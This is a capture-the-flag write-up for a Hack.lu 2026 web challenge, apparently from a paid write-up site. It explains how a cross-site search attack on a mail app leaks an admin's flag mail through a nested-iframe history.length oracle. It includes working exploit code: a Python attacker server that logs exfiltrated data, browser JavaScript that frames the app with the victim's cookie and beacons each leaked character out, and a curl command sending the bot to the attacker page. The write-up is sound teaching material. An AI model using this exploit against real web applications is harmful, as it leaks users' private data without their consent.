$ cat writeup.md…
$ cat writeup.md…
Hack.lu CTF 2026
Task: Express/EJS mail app with an admin bot that visits an attacker URL; no XSS and no server-side bug. Solution: cross-site search (XS-Search) using a nested-frame `history.length` oracle to leak the admin's flag mail character by character.
postbox — zero-inbox by design. cloud-native, AI-ready, omnichannel mail.
English summary: a small mail web app (Express 5 + EJS 7 + express-session + better-sqlite3) sits behind an nginx proxy. The admin account owns a mail whose subject/body contains the flag. A bot logs in as admin and then visits any attacker-supplied URL, sleeping 30 seconds. The goal is to read the admin's flag mail without ever obtaining their session.
POST /login — auto-registers on first login; username must match
^[a-zA-Z0-9_]{3,24}$, password 4-128 chars.GET / (login required) — inbox. Query params:
?q=<term> — search: instr(lower(subject),lower(?))>0 OR instr(lower(body),lower(?))>0
(parameterized, case-insensitive substring match).?sort=asc|desc?open=<slug>GET /msg/:slug/body.html — escaped mail view, scoped to owner_id (404 if
not owned; slug === 'none' renders "No message selected").GET /compose, GET /delete, POST /compose, POST /logout.GET /report (nginx location /report) proxies to the bot: JSON
{"url": "..."}, rate-limited 2/min.Every response sets Content-Security-Policy: default-src 'self'; base-uri 'none'; form-action 'self'
and Cache-Control: no-store. The session cookie pb.sid is HttpOnly but has
no SameSite and no Secure.
No XSS. Every dynamic value in the EJS views is emitted with <%= %>
(auto-escaped). The strict CSP additionally forbids inline and external
scripts. Template injection is not reachable.
No server-side bug. All SQL is parameterized (better-sqlite3 prepared
statements), all mail queries are owner-scoped, and the session secret is a
fresh crypto.randomBytes(32).
Plain frame counting fails. The inbox page always renders exactly one same-origin iframe:
<iframe id="preview" src="/msg/<%= openSlug %>/body.html"></iframe>
where openSlug = (openMail ? openMail.slug : 'none') and
openMail = mails.find(...) || mails[0]. So on a MATCH openSlug is a real
matched slug; on a NO-MATCH it is 'none'. Either way
contentWindow.length === 1, so counting frames leaks nothing.
STTF (#:~:text=) and timing/size oracles were tested and killed: text
fragments only apply to the main frame, and fetch/response timing is
identical across MATCH and NO-MATCH.
The remaining, intended class is a cross-site leak (XS-Search): turn the
match/no-match difference in the nested iframe's src into a readable bit.
In the challenge's Firefox configuration (cookieBehavior: 4, lna.enabled: false) the admin's pb.sid cookie is sent in a cross-site iframe, so the
attacker page can frame APP/?q=<term> and have the admin inbox render inside
it. From the attacker origin we cannot read into the cross-origin frame, but
we can navigate it — and cross-origin navigation is allowed.
The nested preview frame lives at appFrame.contentWindow.frames[0]. Its URL
differs by outcome:
/msg/<real-slug>/body.html/msg/none/body.htmlOracle steps:
nested.location = APP + '/msg/none/body.html#zzz'nested.location = 'about:blank'nested.history.lengthBecause about:blank inherits the initiator's origin (the attacker), step 3 is
readable.
/msg/none/body.html, so step 1
is a same-document fragment navigation — it commits a session-history
entry. history.length === BASE + 1./msg/<slug>/body.html, so step 1 is a
cross-document navigation, cancelled by step 2 before committing.
history.length === BASE.BASE is measured once with a guaranteed non-matching term. A result of
h !== base means MATCH — a reliable 1-bit oracle for /?q=<prefix>.
A tiny static server serves the PoC and logs /log?d=... callbacks; expose it
publicly (e.g. a cloudflared quick tunnel) so the bot can reach it.
#!/usr/bin/env python3 # attacker server: serves poc.html and logs /log?d=<data> import http.server, socketserver, urllib.parse, datetime, sys class H(http.server.BaseHTTPRequestHandler): def log_message(self, *a): pass def _send(self, body, ctype='text/html'): self.send_response(200) self.send_header('Content-Type', ctype) self.send_header('Cache-Control', 'no-store') self.end_headers() self.wfile.write(body) def do_GET(self): u = urllib.parse.urlparse(self.path) if u.path.startswith('/log'): d = (urllib.parse.parse_qs(u.query).get('d') or [''])[0] with open('exfil.log', 'a') as f: f.write('%s\t%s\n' % (datetime.datetime.now().isoformat(), d)) self._send(b'GIF89a', 'image/gif'); return with open('poc.html', 'rb') as f: self._send(f.read()) class S(socketserver.ThreadingTCPServer): allow_reuse_address = True; daemon_threads = True S(('0.0.0.0', 8090), H).serve_forever()
The PoC runs inside the bot's browser. APP is passed in the page URL
(?app=https://<instance>), and a ?prefix=<partial> parameter lets a later
bot visit resume after the 30-second budget expires.
(function () { const APP = new URLSearchParams(location.search).get('app'); const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); const CHARS = '0123456789abcdef}'; // flag charset (hex + closing brace) const exfil = (s) => { (new Image()).src = '/log?d=' + encodeURIComponent(s) + '&t=' + Date.now(); }; // Returns the nested frame's history.length, or null on failure. function oracle(term) { return new Promise(async (resolve) => { const f = document.createElement('iframe'); f.width = 700; f.height = 500; f.style.position = 'absolute'; f.style.left = '-9999px'; document.body.appendChild(f); const loaded = new Promise((r) => { f.onload = () => r(); }); f.src = APP + '/?q=' + encodeURIComponent(term); // admin cookie sent cross-site await Promise.race([loaded, sleep(2500)]); await sleep(40); let n; try { n = f.contentWindow.frames[0]; } catch (e) { f.remove(); return resolve(null); } if (!n) { f.remove(); return resolve(null); } try { n.location = APP + '/msg/none/body.html#zzz'; // same-doc fragment nav iff NO-MATCH n.location = 'about:blank'; // cancels cross-doc nav iff MATCH } catch (e) { f.remove(); return resolve(null); } await sleep(80); let h; try { h = n.history.length; } catch (e) { h = null; } // about:blank inherits our origin f.remove(); resolve(h); }); } (async () => { // A guaranteed NO-MATCH term defines the baseline length. const base = await oracle('nm' + Math.random().toString(36).slice(2) + Date.now()); exfil('baseline=' + base); if (base === null) { exfil('oracle-dead'); return; } let flag = new URLSearchParams(location.search).get('prefix') || 'flag{'; const deadline = Date.now() + 29500; // bot sleeps 30s async function nextChar() { for (const c of CHARS) { if (Date.now() > deadline) return null; const h = await oracle(flag + c); // fresh iframe per query, sequential if (h !== null && h !== base) { const h2 = await oracle(flag + c); // confirm once if (h2 !== null && h2 !== base) return c; } } return null; } while (Date.now() < deadline && !flag.endsWith('}')) { const c = await nextChar(); if (c === null) { exfil('STOP ' + flag); return; } flag += c; exfil('prefix ' + flag); } exfil('FLAG ' + flag); })(); })();
Important details:
/report is limited to
2/min, so a longer flag needs several submissions. Pass the partial prefix in
the attacker page URL: .../poc.html?app=<APP>&prefix=flag{ab12.curl -s -X POST https://<instance>/report \ -H 'Content-Type: application/json' \ -d '{"url":"https://<attacker-host>/poc.html?app=https://<instance>"}'
Read exfil.log; prefix flag{...} lines are progressive and the final
FLAG flag{...} line holds the complete value (flag{REDACTED}). If a visit
ends before the closing brace, resubmit with &prefix=<partial> to continue.
The oracle leaks the admin's flag mail one character at a time over the
0-9a-f} alphabet, e.g. flag{REDACTED}.
Use this technique when:
default-src 'self', all output HTML-escaped) closes injection.src of a nested same-origin <iframe>.SameSite; Firefox
cookieBehavior=4 still permits framed requests), enabling the admin page to
render inside an attacker-controlled frame.about:blank / history.length side channel is available after the
navigation.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar